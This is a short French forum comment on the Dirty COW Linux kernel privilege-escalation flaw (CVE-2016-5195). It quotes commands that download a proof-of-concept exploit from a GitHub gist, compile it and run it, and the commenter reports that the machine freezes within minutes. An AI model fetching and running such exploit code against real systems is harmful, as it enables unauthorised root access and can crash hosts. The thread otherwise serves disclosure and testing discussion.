Dirty COW (CVE-2016-5195) is a privilege escalation vulnerability in the Linux Kernel

Retourner au contenu associé (journal : CVE-2016-5195 Dirty COW)

# Dirty COW (CVE-2016-5195) is a privilege escalation vulnerability in the Linux Kernel

Posté par Lawless le 22 octobre 2016 à 08:46. En réponse au journal CVE-2016-5195 Dirty COW. Évalué à 5.
Vu sur http://dirtycow.ninja/ :

This PoC is memory only and doesn't write anything on the filesystem. Beware, it triggers a kernel crash a few minutes.
```
 wget https://gist.githubusercontent.com/scumjr/17d91f20f73157c722ba2aea702985d2/raw/a37178567ca7b816a5c6f891080770feca5c74d7/dirtycow-mem.c
gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread
./dirtycow-mem
```
Ça passe bien sous l'utilisateur « root », mais ça gèle la machine en quelques minutes.